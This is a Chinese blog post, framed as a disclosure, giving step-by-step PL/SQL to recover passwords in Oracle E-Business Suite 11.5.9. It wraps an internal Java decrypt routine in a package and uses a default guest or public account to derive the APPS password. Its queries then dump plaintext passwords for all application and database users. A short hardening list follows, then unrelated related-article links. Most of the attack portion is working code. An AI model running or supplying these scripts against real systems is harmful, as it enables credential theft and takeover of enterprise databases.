1.        写作目的        1

2.        利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下        1

(1).建立Package Header        1

(2).建立Package Body        1

3.        取得APPS密码的步骤        2

4.        通过任何一个User name/password取得APPS密码的方法        2

5.        通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法        3

6.        通过上面建立的Package取得所有Oracle ERP Application User 密码的方法        3

7.        通过上面建立的Package取得所有Oracle ERP Database User密码的方法        3

8.        删除第一步建立的Package        3

9.        结论        3

10.        提高Oracle ERP的安全性        4

11.        此程序在Oracle ERP 11.5.9通过Toad测试通过.        4

1.        写作目的

在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.

       公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

2.        利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

(1).建立Package Header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

      RETURN VARCHAR2;

END CrackPwd;

(2).建立Package Body

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

          NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END CrackPwd;

/

3.        取得APPS密码的步骤

假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上,
ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码

4.        通过任何一个User name/password取得APPS密码的方法

SET SERVEROUTPUT ON

DECLARE

  guestUserPwd VARCHAR2(200);

  guestUserName VARCHAR2(100);

  guestFndPwd VARCHAR2(100);

  guestEncFndPwd VARCHAR2(100);

  delim NUMBER;

BEGIN

guestUserPwd :='GUEST/ORACLE';--Can any user password

IF  guestUserPwd IS NULL THEN

         guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

  END IF;

  delim := INSTR(guestUserPwd,'/');

  guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

   SELECT encrypted_foundation_password INTO guestEncFndPwd

  FROM fnd_user_view

  WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

    (end_date IS NULL OR end_date > SYSDATE);

     guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

    IF NOT (guestFndPwd IS NULL) THEN

       DBMS_OUTPUT.put_line(guestFndPwd);

    END IF;

END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password

     上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

以上程序可以用toad执行

5.        通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

SET SERVEROUT ON

DECLARE

   v_encrypted_pwd   VARCHAR2 (100);

   v_apps_pwd        VARCHAR2 (100);

   v_user_pwd        VARCHAR (100);

BEGIN

   v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

3C10B916D88062771250F4BE653891CA90671C74187B132118335';

--get  ENCRYPTED_USER_PASSWORD from fnd_user

   IF v_apps_pwd IS NULL

   THEN

      v_apps_pwd := 'APPS';

   END IF;

v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

   DBMS_OUTPUT.put_line (v_user_pwd);

END;

6.        通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD)  pwd  FROM  APPS.fnd_user

7.        通过上面建立的Package取得所有Oracle ERP Database User密码的方法

select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from  APPS.fnd_oracle_userid fou

8.        删除第一步建立的Package  

DROP PACKAGE CrackPwd

9.        结论

1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.

2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推

3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.

4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.

10.        提高Oracle ERP的安全性

(1).更改APPS的密码

(2).更改所有预先安装的fnd_user中所有user的password

(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password

(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码

(5).尽量不要将Database 可以通过公网连接.

(6).User离职后要将其密码变更后才停用.

但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.

11.        此程序在Oracle ERP 11.5.9通过Toad测试通过.

破解Oracle ERP 密码的更多相关文章

  1. 破解Oracle ERP密码

    前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码. SQL> desc fnd_user; Name ...

  2. [20171213]john破解oracle口令.txt

    [20171213]john破解oracle口令.txt --//跟别人讨论的oracle破解问题,我曾经提过不要使用6位字符以下的密码,其实不管那种系统低于6位口令非常容易破解.--//而且orac ...

  3. 用Hashcat每秒计算1.4亿个密码,破解隔壁WIFI密码

    Hashcat是啥 Hashcat是什么呢?Hashcat是当前最强大的开源密码恢复工具,你可以访问Hashcat.net网站来了解这款工具的详细情况.本质上,Hashcat 3.0是一款高级密码恢复 ...

  4. oracle erp 表结构

    BOM模块常用表结构 表名: bom.bom_bill_of_materials 说明: BOM清单父项目 BILL_SEQUENCE_ID NUMBER 清单序号(关键字)ASSEMBLY_ITEM ...

  5. 破解压缩文件密码rarcrack

    破解压缩文件密码rarcrack   常见的压缩文件格式有ZIP.RAR和7z.这三种格式都支持使用密码进行加密压缩.前面讲过破解ZIP压缩文件,可以使用fcrackzip.对于RAR和7z格式,可以 ...

  6. Oracle 11g密码过期问题解决方案

    [问题描述]近日,使用sqlplus登陆短消息Oracle(Oracle培训 )数据库时提示“ORA-28000: 帐号被锁定”.[原因/触发因素]确定是由于oracle11g中默认在default概 ...

  7. 【密码】Oracle用户密码系列

    [密码]Oracle用户密码系列 1.1  BLOG文档结构图 1.2  前言部分 1.2.1  导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识, ...

  8. 破解Mysql数据库密码

    破解Mysql数据库密码 点我,点我,破解mysql数据库密码:

  9. Oracle Erp常用网站

    2014-01-01 Created By BaoXinjian

随机推荐

  1. 前端监控系统(二)JS错误日志收集篇

    前端监控系统 目前已经上线,欢迎使用! 服务器搭建好了,可以着手开发了. 其实前端需要分析的数据有很多,包括,PVUV, 接口请求统计,耗时统计,JS错误统计,用户使用设备统计,用户地域分布,页面用户 ...

  2. [ZJOI2008]瞭望塔

    题目描述 致力于建设全国示范和谐小村庄的H村村长dadzhi,决定在村中建立一个瞭望塔,以此加强村中的治安. 我们将H村抽象为一维的轮廓.如下图所示 我们可以用一条山的上方轮廓折线(x1, y1), ...

  3. POJ1743 Musical Theme(二分+后缀数组)

    题目大概是给n个数组成的串,求是否有多个“相似”且不重叠的子串的长度大于等于5,两个子串相似当且仅当长度相等且每一位的数字差都相等. 这题是传说中楼教主男人八题之一,虽然已经是用后缀数组解决不可重叠最 ...

  4. epoll源码分析(转)

    在create后会创建eventpoll对象保存在一个匿名fd的file struct的private指针中,然后进程睡在等待队列上面. 对于等待的fd,通过poll机制在准备好之后会调用相应的cal ...

  5. NOIP2014-3-15模拟赛

    Problem 1 高级打字机(type.cpp/c/pas) [题目描述] 早苗入手了最新的高级打字机.最新款自然有着与以往不同的功能,那就是它具备撤销功能,厉害吧. 请为这种高级打字机设计一个程序 ...

  6. hdu 5727 二分图+环排列

    Necklace Time Limit: 3000/1500 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others)Total Su ...

  7. VS2012中C++,#include无法打开自己所写的头文件(.h)

    最近刚开始学cocos2d-x,创建项目之后,自己按照<cocos2d-x 3.x 游戏开发>的教程写代码 先写了一个头文件  MyHelloWorldScene.h 然后在  AppDe ...

  8. scanf———while(scanf ("%lu",&num) = =1)什么意思

    scanf的返回值由后面的参数决定 scanf("%d%d", &a, &b); 如果a和b都被成功读入,那么scanf的返回值就是2 如果只有a被成功读入,返回值 ...

  9. 《java技术》第二次作业

    (一)学习总结 1.什么是构造方法?什么是构造方法的重载? 1)没有返回值,名字与类名相同,当新对象被创建的时候,构造函数会被调用,要想构造函数,必须声明对象并对其初始化.每一个类都有构造函数,如果没 ...

  10. PTA 社交网络图中结点的“重要性”计算(30 分)

    7-12 社交网络图中结点的“重要性”计算(30 分) 在社交网络中,个人或单位(结点)之间通过某些关系(边)联系起来.他们受到这些关系的影响,这种影响可以理解为网络中相互连接的结点之间蔓延的一种相互 ...